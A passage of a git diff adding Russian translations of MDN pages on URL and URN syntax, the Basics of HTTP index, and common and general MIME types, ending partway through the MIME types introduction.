@@ -0,0 +1,188 @@
+---
+title: Идентификация ресурсов в Вебе
+slug: Web/HTTP/Basics_of_HTTP/Identifying_resources_on_the_Web_RU
+tags:
+ - HTTP
+ - URI
+ - URL
+ - Веб
+ - Порт
+ - Путь
+ - Ресурсы
+ - Синтаксис
+ - Синтаксис URL
+ - Схема
+ - Фрагмент
+ - домен
+ - запрос
+translation_of: Web/HTTP/Basics_of_HTTP/Identifying_resources_on_the_Web
+---
+<div>{{HTTPSidebar}}</div>
+
+<p class="summary">"Объект" (или "цель") HTTP-запроса называется "ресурс", чья природа может быть разной: фото, документ, или что-либо ещё. Каждый ресурс идентифицируется с помощью унифицированного идентификатора ресурса ({{Glossary("URI")}}) используемого повсюду в HTTP для идентификации ресурсов.</p>
+
+<p>Обычно чтобы описать конкретный ресурс (его имя) и его местоположение в Вебе, используется всего один URL (Uniform Resource Locator - Унифицированный локатор ресурса, вид URI, его ещё называеют <em>веб-адресом</em>). Можно добавить, что иногда с помощью специального заголовка {{HTTPHeader("Alt-Svc")}} в ответе на запрос можно попросить клиента перезапросить ресурс с другой локации.</p>
+
+<h2 id="URLы_и_URNы">URLы и URNы</h2>
+
+<h3 id="URL">URL</h3>
+
+<p>Самый популярный тип URI - это Uniform Resource Locator ({{Glossary("URL")}}), который также называют <em>веб-адресом</em>.</p>
+
+<pre>https://developer.mozilla.org
+https://developer.mozilla.org/ru/docs/Learn
+https://developer.mozilla.org/ru/search?q=URL</pre>
+
+<p>Любой из этих URL-ов может быть набран в адресной строке браузера чтобы сказать ему загрузить соответствующую страницу (ресурс).</p>
+
+<p>URL состоит из разных частей, некоторые - обязательны, а другие нет. Более сложный пример:</p>
+
+<pre>http://www.example.com:80/path/to/myfile.html?key1=value1&amp;key2=value2#SomewhereInTheDocument</pre>
+
+<h3 id="URN">URN</h3>
+
+<p>Uniform Resource Name (URN) - это URI, который идентифицирует ресурс по имени в конкретном пространстве имён.</p>
+
+<pre>urn:isbn:9780141036144
+urn:ietf:rfc:7230
+</pre>
+
+<p>Эти два URN-а соответствуют:</p>
+
+<ul>
+ <li>книга "1984" Джорджа Оруэлла,</li>
+ <li>IETF спецификация 7230, Hypertext Transfer Protocol (HTTP/1.1): Синтаксис и маршрутизация сообщений.</li>
+</ul>
+
+<h2 id="Синтаксис_Унифицированных_Идентификаторов_Ресурсов_URI">Синтаксис Унифицированных Идентификаторов Ресурсов (URI)</h2>
+
+<h3 id="Схема_или_протокол">Схема или протокол</h3>
+
+<dl>
+ <dt><img alt="Protocol" src="https://mdn.mozillademos.org/files/8013/mdn-url-protocol@x2.png" style="height: 70px; width: 440px;"></dt>
+ <dd><code>http://</code> это пример протокола (схемы). Тут описывается какой протокол браузер должен использовать. Обычно это HTTP протокол или его безопасная версия - HTTPS. Интернет требует один из этих двух, но браузеры также знают как работать с некоторыми другими, например <code>mailto:</code> (чтобы открыть почтовый клиент) или <code>ftp:</code> для работы с передачей файлов. Популярные схемы:</dd>
+</dl>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Схема</th>
+ <th scope="col">Описание</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>data</td>
+ <td><a href="/en-US/docs/Web/HTTP/Basics_of_HTTP/Data_URIs">Data URIs</a> </td>
+ </tr>
+ <tr>
+ <td>file</td>
+ <td>Доступ к файлам на локальном компьютере</td>
+ </tr>
+ <tr>
+ <td>ftp</td>
+ <td><a href="/en-US/docs/Glossary/FTP">File Transfer Protocol</a> (протокол передачи файлов)</td>
+ </tr>
+ <tr>
+ <td>http/https</td>
+ <td><a href="/en-US/docs/Glossary/HTTP">Hyper text transfer protocol (Secure)</a></td>
+ </tr>
+ <tr>
+ <td>mailto</td>
+ <td>Адрес электронной почты</td>
+ </tr>
+ <tr>
+ <td>ssh</td>
+ <td>Протокол Secure shell для работы с серверами</td>
+ </tr>
+ <tr>
+ <td>tel</td>
+ <td>Телефон</td>
+ </tr>
+ <tr>
+ <td>urn</td>
+ <td>Uniform Resource Names</td>
+ </tr>
+ <tr>
+ <td>view-source</td>
+ <td>Исходный код ресурса</td>
+ </tr>
+ <tr>
+ <td>ws/wss</td>
+ <td>(Зашифрованные) соединения <a href="/en-US/docs/Web/API/WebSockets_API">WebSocket</a></td>
+ </tr>
+ </tbody>
+</table>
+
+<h3 id="Владелец_имя_хоста">Владелец (имя хоста)</h3>
+
+<dl>
+ <dt><img alt="Domaine Name" src="https://mdn.mozillademos.org/files/8015/mdn-url-domain@x2.png" style="height: 70px; width: 440px;"></dt>
+ <dd><code>www.example.com</code> - это доменное имя, идентификатор ответственного за это пространство имён. Идентифицирует, какой именно Веб-сервер получает запрос. Альтернативно, можно просто использовать {{Glossary("IP address")}}, но поскольку это не так удобно, то этот способ используется не часто.</dd>
+</dl>
+
+<h3 id="Порт">Порт</h3>
+
+<dl>
+ <dt><img alt="Port" src="https://mdn.mozillademos.org/files/8017/mdn-url-port@x2.png" style="height: 70px; width: 440px;"></dt>
+ <dd><code>:80</code> - это порт сервера. Он идентифицирует технические "ворота", которые нужны для доступа к ресурсу на сервере. Обычно порт не указывается, т.к. существуют общепринятые нормы о стандартных портах для HTTP (80 для HTTP и 443 для HTTPS). В других случаях обязательно нужно указывать.</dd>
+</dl>
+
+<h3 id="Путь">Путь</h3>
+
+<dl>
+ <dt><img alt="Path to the file" src="https://mdn.mozillademos.org/files/8019/mdn-url-path@x2.png" style="height: 70px; width: 440px;"></dt>
+ <dd><code>/path/to/myfile.html</code> - это путь к ресурсу на Веб-сервере. Изначально путь типа этого указывал на физическое место файла на сервере, но сейчас всё чаще это псевдоним или описание некоторого абстрактного ресурса.</dd>
+</dl>
+
+<h3 id="Строка_запроса_query_string">Строка запроса (query string)</h3>
+
+<dl>
+ <dt><img alt="Parameters" src="https://mdn.mozillademos.org/files/8021/mdn-url-parameters@x2.png" style="height: 70px; width: 440px;"></dt>
+ <dd><code>?key1=value1&amp;key2=value2</code> - это дополнительные параметры, предоставляемые Веб-серверу. Это список пар "ключ=значение", разделенных символом <code>&amp;</code> . Веб-сервер может использовать эти параметры как дополнительные инструкции, что именно сделать с ресурсом перед отправкой его пользователю. Каждый Веб-сервер имеет свои правила насчет параметров, и единственный надежный способ узнать как конкретный Веб-сервер обрабатывает эти параметры - это спросить того, кто контролирует Веб-сервер.</dd>
+</dl>
+
+<h3 id="Фрагмент">Фрагмент</h3>
+
+<dl>
+ <dt><img alt="Anchor" src="https://mdn.mozillademos.org/files/8023/mdn-url-anchor@x2.png" style="height: 70px; width: 440px;"></dt>
+ <dd><code>#SomewhereInTheDocument</code> - это "якорь" на другую часть ресурса. Якорь представляет собой что-то вроде "закладки" внутри ресурса, давая браузеру  указание показать содержимое с определенного места. В HTML-документе, к примеру, браузер будет скроллить к точке где якорь определён, а на аудио/видео-документе бразуер попытается перейти на время, указанное в якоре. Важно что часть, начинающаяся с # - никогда не пересылается серверу в запросе.</dd>
+</dl>
+
+<h2 id="Заметки_по_использованию">Заметки по использованию</h2>
+
+<p>Когда используются URLы в {{Glossary("HTML")}} содержимом, вам стоит использовать только несколько из этих схем. Когда идёт обращение к субресурсам (файлам, которые являются частью большого документа) — вам стоит использовать лишь HTTP и HTTPS. Браузеры сейчас перестают использовать FTP для загрузки ресурсов, из соображений безопасности.</p>
+
+<p>FTP до сих пор доступен на верхнем уровне (т.е. когда ссылка указывается в адресной строке или в ссылке), но некоторые браузеры могут делегировать загрузку FTP ресурсов другим приложениям.</p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<pre>https://developer.mozilla.org/en-US/docs/Learn
+tel:+1-816-555-1212
+git@github.com:mdn/browser-compat-data.git
+ftp://example.org/resource.txt
+urn:isbn:9780141036144
+mailto:help@supercyberhelpdesk.info
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Спецификация</th>
+ <th scope="col">Название</th>
+ </tr>
+ <tr>
+ <td>{{RFC("7230", "Uniform Resource Identifiers", "2.7")}}</td>
+ <td>Hypertext Transfer Protocol (HTTP/1.1): Синтаксис и маршрутизация сообщений</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Читайте_также">Читайте также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Learn/Common_questions/What_is_a_URL">Что такое URL?</a></li>
+ <li><a href="http://www.iana.org/assignments/uri-schemes/uri-schemes.xhtml">Список URI-схем IANA</a></li>
+</ul>
diff --git a/files/ru/web/http/basics_of_http/index.html b/files/ru/web/http/basics_of_http/index.html
new file mode 100644
index 0000000000..415e4b9a5d
--- /dev/null
+++ b/files/ru/web/http/basics_of_http/index.html
@@ -0,0 +1,52 @@
+---
+title: Basics of HTTP
+slug: Web/HTTP/Basics_of_HTTP
+tags:
+ - HTTP
+ - NeedsTranslation
+ - Overview
+ - TopicStub
+translation_of: Web/HTTP/Basics_of_HTTP
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>HTTP удобный расширяемый протокол. Он опирается на несколько базовых понятий, таких как: ресурсы и URI (унифицированный идентификатор ресурса), простая структура сообщений и технология "клиент-сервер" для общения. Помимо этих базовых концепций, за последние годы появилось множество расширений, добавляющих новые функциональные возможности и новую семантику путем создания новых HTTP-методов или заголовков.</p>
+
+<h2 id="Статьи">Статьи</h2>
+
+<dl>
+ <dt><a href="/en-US/docs/Web/HTTP/Overview">Обзор HTTP</a></dt>
+ <dd>Описывает, что такое HTTP и какова его роль в архитектуре всемирной паутины, позицию в стеке протоколов.</dd>
+ <dt><a href="/en-US/docs/Web/HTTP/Basics_of_HTTP/Evolution_of_HTTP">Эволюция HTTP</a></dt>
+ <dd>HTTP был создан в начале 1990-х годов и несколько раз был расширен. Эта статья даёт обзор его истории и описывает HTTP/0.9, HTTP/1.0, HTTP/1.1, и современный HTTP/2, а также незначительные нововведения представленные в последние несколько лет.</dd>
+ <dt><a href="https://wiki.developer.mozilla.org/en-US/docs/Web/HTTP/Basics_of_HTTP/Negotiating_an_HTTP_version">Обсуждение версии HTTP</a></dt>
+ <dd>Описывает, как клиент и сервер могут договориться о конкретной версии HTTP и в конечном счете перейти на более новую версию протокола. </dd>
+ <dt><a href="/en-US/docs/Web/HTTP/Resources_and_URIs">Resources and URIs</a></dt>
+ <dd>A brief introduction of the notion of resources, identifiers, and locations on the Web.</dd>
+ <dt><a href="/en-US/docs/Web/HTTP/Basics_of_HTTP/Identifying_resources_on_the_Web">Identifying resources on the Web</a></dt>
+ <dd>Describes how Web resources are referenced and how to locate them.</dd>
+ <dt><a href="/en-US/docs/Web/HTTP/Basics_of_HTTP/Data_URIs">Data URIs</a></dt>
+ <dd>A specific kind of URIs that directly embeds the resource it represents. Data URIs are very convenient, but have some caveats.</dd>
+ <dt>Separating identity and location of a resource: the Alt-Svc HTTP header</dt>
+ <dd>Most of the time identity and location of a Web resource are shared, this can be changed with the {{HTTPHeader("Alt-Svc")}} header.</dd>
+ <dt><a href="/en-US/docs/Web/HTTP/Basics_of_HTTP/MIME_types">MIME types</a></dt>
+ <dd>Since HTTP/1.0, different types of content can be transmitted. This article explains how this is done using the {{HTTPHeader("Content-Type")}} header and the MIME standard.</dd>
+ <dt><a href="/en-US/docs/Web/HTTP/Basics_of_HTTP/Choosing_between_www_and_non-www_URLs">Choosing between www and non-www URLs</a></dt>
+ <dd>Advice on using a www-prefixed domain or not, this article explains the consequences of the choice as well as how to make it.</dd>
+ <dt>Flow of an HTTP session</dt>
+ <dd>This fundamental article describes a typical HTTP session: what happens under the hood when you click on a link in your browser…</dd>
+ <dt><a href="/en-US/docs/Web/HTTP/Messages">HTTP Messages</a></dt>
+ <dd>HTTP Messages transmitted during requests or responses have a very clear structure; this introductory article describes this structure, its purpose and its possibilities.</dd>
+ <dt>Frame and message structure in HTTP/2</dt>
+ <dd>HTTP/2 encapsulates and represents HTTP/1.x messages in a binary frame. This article explains the frame structure, its purpose and the way it is encoded.</dd>
+ <dt><a href="/en-US/docs/Web/HTTP/Connection_management_in_HTTP_1.x">Connection management in HTTP/1.x</a></dt>
+ <dd>HTTP/1.1 was the first version of HTTP to support persistent connection and pipelining. This article explains these two concepts.</dd>
+ <dt>Connection management in HTTP/2</dt>
+ <dd>HTTP/2 completely revisited how connections are created and maintained: this article explains how HTTP frames allow multiplexing and solve the 'head-of-line' blocking problem of former HTTP versions.</dd>
+ <dt><a href="/en-US/docs/Web/HTTP/Content_negotiation">Content Negotiation</a></dt>
+ <dd>HTTP introduces a set of headers, starting with <code>Accept-</code> as a way for a browser to announce the format, language, or encoding it prefers. This article explains how this advertisement happens, how the server is expected to react and how it will choose the most adequate response.</dd>
+</dl>
+
+<div id="gtx-trans" style="position: absolute; left: 5px; top: 437px;">
+<div class="gtx-trans-icon"></div>
+</div>
diff --git a/files/ru/web/http/basics_of_http/mime_types/common_types/index.html b/files/ru/web/http/basics_of_http/mime_types/common_types/index.html
new file mode 100644
index 0000000000..1b9703c33d
--- /dev/null
+++ b/files/ru/web/http/basics_of_http/mime_types/common_types/index.html
@@ -0,0 +1,394 @@
+---
+title: Неполный список типов MIME
+slug: Web/HTTP/Basics_of_HTTP/MIME_types/Common_types
+tags:
+ - HTTP
+ - Справка
+ - Типы MIME
+translation_of: Web/HTTP/Basics_of_HTTP/MIME_types/Common_types
+---
+<div>{{HTTPSidebar}}</div>
+
+<div>Здесь представлен исчерпывающий список типов MIME, соотнесенных с типами документов и отсортированных по расширению.</div>
+
+<div></div>
+
+<div>Два ключевых типа MIME, использующихся в качестве типов по умолчанию:</div>
+
+<div>
+<ul>
+ <li><code>text/plain</code> является типом по умолчанию для текстовых файлов. Текстовый файл должен быть читаемым человеком и не должен содержать в себе бинарную информацию.</li>
+ <li><code>application/octet-stream</code> является типом по умолчанию для всех остальных случаев. Нужно использовать этот тип, если тип файла неизвестен. Браузеры уделяют дополнительное внимание при работе с данным типом файлов для предотвращения вредоносного поведения.</li>
+</ul>
+</div>
+
+<p>IANA является официальным регистром типов MIME и поддерживает их <a href="http://www.iana.org/assignments/media-types/media-types.xhtml">официальный список</a>. В данной таблице представлен список типов, наиболее важных для Web:</p>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Расширение</th>
+ <th scope="col">Тип документа</th>
+ <th scope="col">Тип MIME</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td><code>.aac</code></td>
+ <td>AAC audio</td>
+ <td><code>audio/aac</code></td>
+ </tr>
+ <tr>
+ <td><code>.abw</code></td>
+ <td><a href="https://en.wikipedia.org/wiki/AbiWord">AbiWord</a> document</td>
+ <td><code>application/x-abiword</code></td>
+ </tr>
+ <tr>
+ <td><code>.arc</code></td>
+ <td>Archive document (multiple files embedded)</td>
+ <td><code>application/x-freearc</code></td>
+ </tr>
+ <tr>
+ <td><code>.avi</code></td>
+ <td>AVI: Audio Video Interleave</td>
+ <td><code>video/x-msvideo</code></td>
+ </tr>
+ <tr>
+ <td><code>.azw</code></td>
+ <td>Amazon Kindle eBook format</td>
+ <td><code>application/vnd.amazon.ebook</code></td>
+ </tr>
+ <tr>
+ <td><code>.bin</code></td>
+ <td>Any kind of binary data</td>
+ <td><code>application/octet-stream</code></td>
+ </tr>
+ <tr>
+ <td><code>.bmp</code></td>
+ <td>Windows OS/2 Bitmap Graphics</td>
+ <td><code>image/bmp</code></td>
+ </tr>
+ <tr>
+ <td><code>.bz</code></td>
+ <td>BZip archive</td>
+ <td><code>application/x-bzip</code></td>
+ </tr>
+ <tr>
+ <td><code>.bz2</code></td>
+ <td>BZip2 archive</td>
+ <td><code>application/x-bzip2</code></td>
+ </tr>
+ <tr>
+ <td><code>.csh</code></td>
+ <td>C-Shell script</td>
+ <td><code>application/x-csh</code></td>
+ </tr>
+ <tr>
+ <td><code>.css</code></td>
+ <td>Cascading Style Sheets (CSS)</td>
+ <td><code>text/css</code></td>
+ </tr>
+ <tr>
+ <td><code>.csv</code></td>
+ <td>Comma-separated values (CSV)</td>
+ <td><code>text/csv</code></td>
+ </tr>
+ <tr>
+ <td><code>.doc</code></td>
+ <td>Microsoft Word</td>
+ <td><code>application/msword</code></td>
+ </tr>
+ <tr>
+ <td><code>.docx</code></td>
+ <td>Microsoft Word (OpenXML)</td>
+ <td><code>application/vnd.openxmlformats-officedocument.wordprocessingml.document</code></td>
+ </tr>
+ <tr>
+ <td><code>.eot</code></td>
+ <td>MS Embedded OpenType fonts</td>
+ <td><code>application/vnd.ms-fontobject</code></td>
+ </tr>
+ <tr>
+ <td><code>.epub</code></td>
+ <td>Electronic publication (EPUB)</td>
+ <td><code>application/epub+zip</code></td>
+ </tr>
+ <tr>
+ <td><code>.gz</code></td>
+ <td>GZip Compressed Archive</td>
+ <td><code>application/gzip</code></td>
+ </tr>
+ <tr>
+ <td><code>.gif</code></td>
+ <td>Graphics Interchange Format (GIF)</td>
+ <td><code>image/gif</code></td>
+ </tr>
+ <tr>
+ <td><code>.htm<br>
+ .html</code></td>
+ <td>HyperText Markup Language (HTML)</td>
+ <td><code>text/html</code></td>
+ </tr>
+ <tr>
+ <td><code>.ico</code></td>
+ <td>Icon format</td>
+ <td><code>image/vnd.microsoft.icon</code></td>
+ </tr>
+ <tr>
+ <td><code>.ics</code></td>
+ <td>iCalendar format</td>
+ <td><code>text/calendar</code></td>
+ </tr>
+ <tr>
+ <td><code>.jar</code></td>
+ <td>Java Archive (JAR)</td>
+ <td><code>application/java-archive</code></td>
+ </tr>
+ <tr>
+ <td><code>.jpeg</code><br>
+ <code>.jpg</code></td>
+ <td>JPEG images</td>
+ <td><code>image/jpeg</code></td>
+ </tr>
+ <tr>
+ <td><code>.js</code></td>
+ <td>JavaScript</td>
+ <td><code>text/javascript</code></td>
+ </tr>
+ <tr>
+ <td><code>.json</code></td>
+ <td>JSON format</td>
+ <td><code>application/json</code></td>
+ </tr>
+ <tr>
+ <td><code>.jsonld</code></td>
+ <td>JSON-LD format</td>
+ <td><code>application/ld+json</code></td>
+ </tr>
+ <tr>
+ <td><code>.mid</code><br>
+ <code>.midi</code></td>
+ <td>Musical Instrument Digital Interface (MIDI)</td>
+ <td><code>audio/midi</code> <code>audio/x-midi</code></td>
+ </tr>
+ <tr>
+ <td><code>.mjs</code></td>
+ <td>JavaScript module</td>
+ <td><code>text/javascript</code></td>
+ </tr>
+ <tr>
+ <td><code>.mp3</code></td>
+ <td>MP3 audio</td>
+ <td><code>audio/mpeg</code></td>
+ </tr>
+ <tr>
+ <td><code>.mpeg</code></td>
+ <td>MPEG Video</td>
+ <td><code>video/mpeg</code></td>
+ </tr>
+ <tr>
+ <td><code>.mpkg</code></td>
+ <td>Apple Installer Package</td>
+ <td><code>application/vnd.apple.installer+xml</code></td>
+ </tr>
+ <tr>
+ <td><code>.odp</code></td>
+ <td>OpenDocument presentation document</td>
+ <td><code>application/vnd.oasis.opendocument.presentation</code></td>
+ </tr>
+ <tr>
+ <td><code>.ods</code></td>
+ <td>OpenDocument spreadsheet document</td>
+ <td><code>application/vnd.oasis.opendocument.spreadsheet</code></td>
+ </tr>
+ <tr>
+ <td><code>.odt</code></td>
+ <td>OpenDocument text document</td>
+ <td><code>application/vnd.oasis.opendocument.text</code></td>
+ </tr>
+ <tr>
+ <td><code>.oga</code></td>
+ <td>OGG audio</td>
+ <td><code>audio/ogg</code></td>
+ </tr>
+ <tr>
+ <td><code>.ogv</code></td>
+ <td>OGG video</td>
+ <td><code>video/ogg</code></td>
+ </tr>
+ <tr>
+ <td><code>.ogx</code></td>
+ <td>OGG</td>
+ <td><code>application/ogg</code></td>
+ </tr>
+ <tr>
+ <td><code>.opus</code></td>
+ <td>Opus audio</td>
+ <td><code>audio/opus</code></td>
+ </tr>
+ <tr>
+ <td><code>.otf</code></td>
+ <td>OpenType font</td>
+ <td><code>font/otf</code></td>
+ </tr>
+ <tr>
+ <td><code>.png</code></td>
+ <td>Portable Network Graphics</td>
+ <td><code>image/png</code></td>
+ </tr>
+ <tr>
+ <td><code>.pdf</code></td>
+ <td>Adobe <a href="https://acrobat.adobe.com/us/en/why-adobe/about-adobe-pdf.html">Portable Document Format</a> (PDF)</td>
+ <td><code>application/pdf</code></td>
+ </tr>
+ <tr>
+ <td><code>.php</code></td>
+ <td>Hypertext Preprocessor (<strong>Personal Home Page</strong>)</td>
+ <td><code>application/php</code></td>
+ </tr>
+ <tr>
+ <td><code>.ppt</code></td>
+ <td>Microsoft PowerPoint</td>
+ <td><code>application/vnd.ms-powerpoint</code></td>
+ </tr>
+ <tr>
+ <td><code>.pptx</code></td>
+ <td>Microsoft PowerPoint (OpenXML)</td>
+ <td><code>application/vnd.openxmlformats-officedocument.presentationml.presentation</code></td>
+ </tr>
+ <tr>
+ <td><code>.rar</code></td>
+ <td>RAR archive</td>
+ <td><code>application/vnd.rar</code></td>
+ </tr>
+ <tr>
+ <td><code>.rtf</code></td>
+ <td>Rich Text Format (RTF)</td>
+ <td><code>application/rtf</code></td>
+ </tr>
+ <tr>
+ <td><code>.sh</code></td>
+ <td>Bourne shell script</td>
+ <td><code>application/x-sh</code></td>
+ </tr>
+ <tr>
+ <td><code>.svg</code></td>
+ <td>Scalable Vector Graphics (SVG)</td>
+ <td><code>image/svg+xml</code></td>
+ </tr>
+ <tr>
+ <td><code>.swf</code></td>
+ <td><a href="https://en.wikipedia.org/wiki/SWF">Small web format</a> (SWF) or Adobe Flash document</td>
+ <td><code>application/x-shockwave-flash</code></td>
+ </tr>
+ <tr>
+ <td><code>.tar</code></td>
+ <td>Tape Archive (TAR)</td>
+ <td><code>application/x-tar</code></td>
+ </tr>
+ <tr>
+ <td><code>.tif<br>
+ .tiff</code></td>
+ <td>Tagged Image File Format (TIFF)</td>
+ <td><code>image/tiff</code></td>
+ </tr>
+ <tr>
+ <td><code>.ts</code></td>
+ <td>MPEG transport stream</td>
+ <td><code>video/mp2t</code></td>
+ </tr>
+ <tr>
+ <td><code>.ttf</code></td>
+ <td>TrueType Font</td>
+ <td><code>font/ttf</code></td>
+ </tr>
+ <tr>
+ <td><code>.txt</code></td>
+ <td>Text, (generally ASCII or ISO 8859-<em>n</em>)</td>
+ <td><code>text/plain</code></td>
+ </tr>
+ <tr>
+ <td><code>.vsd</code></td>
+ <td>Microsoft Visio</td>
+ <td><code>application/vnd.visio</code></td>
+ </tr>
+ <tr>
+ <td><code>.wav</code></td>
+ <td>Waveform Audio Format</td>
+ <td><code>audio/wav</code></td>
+ </tr>
+ <tr>
+ <td><code>.weba</code></td>
+ <td>WEBM audio</td>
+ <td><code>audio/webm</code></td>
+ </tr>
+ <tr>
+ <td><code>.webm</code></td>
+ <td>WEBM video</td>
+ <td><code>video/webm</code></td>
+ </tr>
+ <tr>
+ <td><code>.webp</code></td>
+ <td>WEBP image</td>
+ <td><code>image/webp</code></td>
+ </tr>
+ <tr>
+ <td><code>.woff</code></td>
+ <td>Web Open Font Format (WOFF)</td>
+ <td><code>font/woff</code></td>
+ </tr>
+ <tr>
+ <td><code>.woff2</code></td>
+ <td>Web Open Font Format (WOFF)</td>
+ <td><code>font/woff2</code></td>
+ </tr>
+ <tr>
+ <td><code>.xhtml</code></td>
+ <td>XHTML</td>
+ <td><code>application/xhtml+xml</code></td>
+ </tr>
+ <tr>
+ <td><code>.xls</code></td>
+ <td>Microsoft Excel</td>
+ <td><code>application/vnd.ms-excel</code></td>
+ </tr>
+ <tr>
+ <td><code>.xlsx</code></td>
+ <td>Microsoft Excel (OpenXML)</td>
+ <td><code>application/vnd.openxmlformats-officedocument.spreadsheetml.sheet</code></td>
+ </tr>
+ <tr>
+ <td><code>.xml</code></td>
+ <td><code>XML</code></td>
+ <td><code>application/xml </code>if <em>not</em> readable from casual users (<a href="https://tools.ietf.org/html/rfc3023#section-3">RFC 3023</a>, section 3)<br>
+ <code>text/xml</code> if readable from casual users (<a href="https://tools.ietf.org/html/rfc3023#section-3">RFC 3023</a>, section 3)</td>
+ </tr>
+ <tr>
+ <td><code>.xul</code></td>
+ <td>XUL</td>
+ <td><code>application/vnd.mozilla.xul+xml</code></td>
+ </tr>
+ <tr>
+ <td><code>.zip</code></td>
+ <td>ZIP archive</td>
+ <td><code>application/zip</code></td>
+ </tr>
+ <tr>
+ <td><code>.3gp</code></td>
+ <td><a href="https://en.wikipedia.org/wiki/3GP_and_3G2">3GPP</a> audio/video container</td>
+ <td><code>video/3gpp</code><br>
+ <code>audio/3gpp</code> if it doesn't contain video</td>
+ </tr>
+ <tr>
+ <td><code>.3g2</code></td>
+ <td><a href="https://en.wikipedia.org/wiki/3GP_and_3G2">3GPP2</a> audio/video container</td>
+ <td><code>video/3gpp2</code><br>
+ <code>audio/3gpp2</code> if it doesn't contain video</td>
+ </tr>
+ <tr>
+ <td><code>.7z</code></td>
+ <td><a href="https://en.wikipedia.org/wiki/7-Zip">7-zip</a> archive</td>
+ <td><code>application/x-7z-compressed</code></td>
+ </tr>
+ </tbody>
+</table>
diff --git a/files/ru/web/http/basics_of_http/mime_types/index.html b/files/ru/web/http/basics_of_http/mime_types/index.html
new file mode 100644
index 0000000000..e368e2a496
--- /dev/null
+++ b/files/ru/web/http/basics_of_http/mime_types/index.html
@@ -0,0 +1,318 @@
+---
+title: MIME types
+slug: Web/HTTP/Basics_of_HTTP/MIME_types
+tags:
+ - HTTP
+translation_of: Web/HTTP/Basics_of_HTTP/MIME_types
+---
+<p><strong>Медиа тип </strong>(так же известный как <strong>Multipurpose Internet Mail Extensions </strong>или <strong>MIME тип)</strong> является стандартом, который описывает природу и формат документа, файла или набора байтов. Он определён и стандартизирован в спецификации {{RFC(6838)}} .</p>
+
+<p>Организация <a href="https://www.iana.org/">Internet Assigned Numbers Authority (IANA)</a> является ответственной за все официально признанные MIME типы, и вы можете найти самый последний и полный лист MIME типов на их странице <a href="https://www.iana.org/assignments/media-types/media-types.xhtml">Медиа Типов</a>.</p>
+
+<div class="warning">
+<p><strong>Важно:</strong> Для принятия решения о том, как обрабатывать URL, браузеры используют MIME типы, <em>а не расширения файлов</em>, так что серверам необходимо отправлять правильные MIME типы в {{HTTPHeader("Content-Type")}} заголовке ответа. При неточном задавании этого заголовка, браузеры с большой вероятностью будут неправильно интерпретировать и обрабатывать содержание файлов, из-за чего сайт будет работать неверно.</p>
+</div>
+
+<h2 id="Структура_MIME_типа"><strong>Структура MIME типа</strong></h2>
+
+<p>Простейший MIME тип состоит из<em> типа</em> и<em> подтипа</em> — двух строк разделённых наклонной чертой (<code>/</code>), без использования пробелов.</p>
+
+<pre class="syntaxbox"><var>тип</var>/<var>подтип</var></pre>
+
+<p><em><strong>Тип</strong> </em>представляет общую категорию, в которой находится тип данных, например <code>video</code> или <code>text</code>.<em> <strong>Подтип</strong></em> же строго отождествляется с отдельным типом данных, представляемых данным MIME типом. Например, для MIME типа <code>text</code>, подтипы могут быть  <code>plain</code> (простой текст), <code>html</code> ({{Glossary("HTML")}} source code) или <code>calendar</code> (для iCalendar/<code>.</code><code>ics</code>).</p>
+
+<p>Необязательный <strong>параметр</strong> может быть добавлен для указания дополнительных деталей</p>
+
+<pre class="syntaxbox"><var>тип</var>/<var>подтип</var>;<var>параметр</var>=<var>значение</var></pre>
+
+<p>Например, для MIME типов катогории<var> </var><code>text</code>, необязательный параметр <code>charset</code> может быть задан для уточнения кодировки, используемой в документе. Для объявления, что пересылаемый файл имеет кодировку UTF-8, необходимо использовать MIME тип <code>text/plain;charset=UTF-8</code>. При не указании параметра <code>charset</code>, его значение автоматически будет задано, как {{Glossary("ASCII")}} (<code>US</code><code>-</code><code>ASCII</code>), если в настройках браузера не будет определено иначе.</p>
+
+<p>MIME типы являются нечувствительными к регистру, но традиционно их пишут строчными буквами, за исключением значений параметров.</p>
+
+<h3 id="Типы">Типы</h3>
+
+<p>Все типы можно разделить на два класса: <strong>дискретные</strong> и <strong>многокомпонентные. </strong>Дискретные типы представляют одиночные файлы, например, одиночный текстовый, музыкальный или видео файл. Многокомпонентные типы представляют документы, составленные из нескольких частей, каждая из которых может иметь свой отдельный MIME тип, или они могут заключать в себе несколько отдельных файлов, передаваемых в одном сообщении. Например, многокомпонентные MIME типы используются для передачи нескольких изображений в одном email.</p>
+
+<h4 id="Дискретные_типы"><strong>Дискретные типы</strong></h4>
+
+<p>В настоящее время на IANA зарегистрированы следующие дискретные типы:</p>
+
+<dl>
+ <dt><code>application</code> <a href="https://www.iana.org/assignments/media-types/media-types.xhtml#application" style="float: right;">Список IANA</a></dt>
+ <dd>Любой вид бинарных данных, явно не попадающих ни в одну другу группу типов. Данные, которые будут выполняться или как-либо интерпретироваться, или данные для выполнения, которых необходимо отдельное приложение. Для указания базового типа бинарных данных (данных без определённого типа) используют тип <code>application/octet-stream</code>. Другие распространённые примеры включают <code>application/pdf</code>, <code>application/pkcs8</code> и <code>application/zip</code>.</dd>
+ <dt><code>audio</code> <a href="https://www.iana.org/assignments/media-types/media-types.xhtml#audio" style="float: right;">Список IANA</a></dt>
+ <dd>Аудио или музыкальные данные. Примеры: <code>audio/mpeg</code>, <code>audio/vorbis</code>.</dd>
+ <dt><code>example</code></dt>
+ <dd>Тип, зарезервированный для написания примеров, отображающих использование MIME типов. Этот тип никогда не должен использоваться вне примеров кода или документации. <code>example</code> может так же использоваться, как подтип.</dd>
+ <dt><code>font</code> <a href="https://www.iana.org/assignments/media-types/media-types.xhtml#font" style="float: right;">Список IANA</a></dt>
+ <dd>Данные шрифтов. Распространённые примеры включают <code>font</code><code>/</code><code>woff</code>, <code>font</code><code>/</code><code>ttf</code> и <code>font</code><code>/</code><code>otf</code>.</dd>
+ <dt><code>image</code> <a href="https://www.iana.org/assignments/media-types/media-types.xhtml#image" style="float: right;">Список IANA</a></dt>
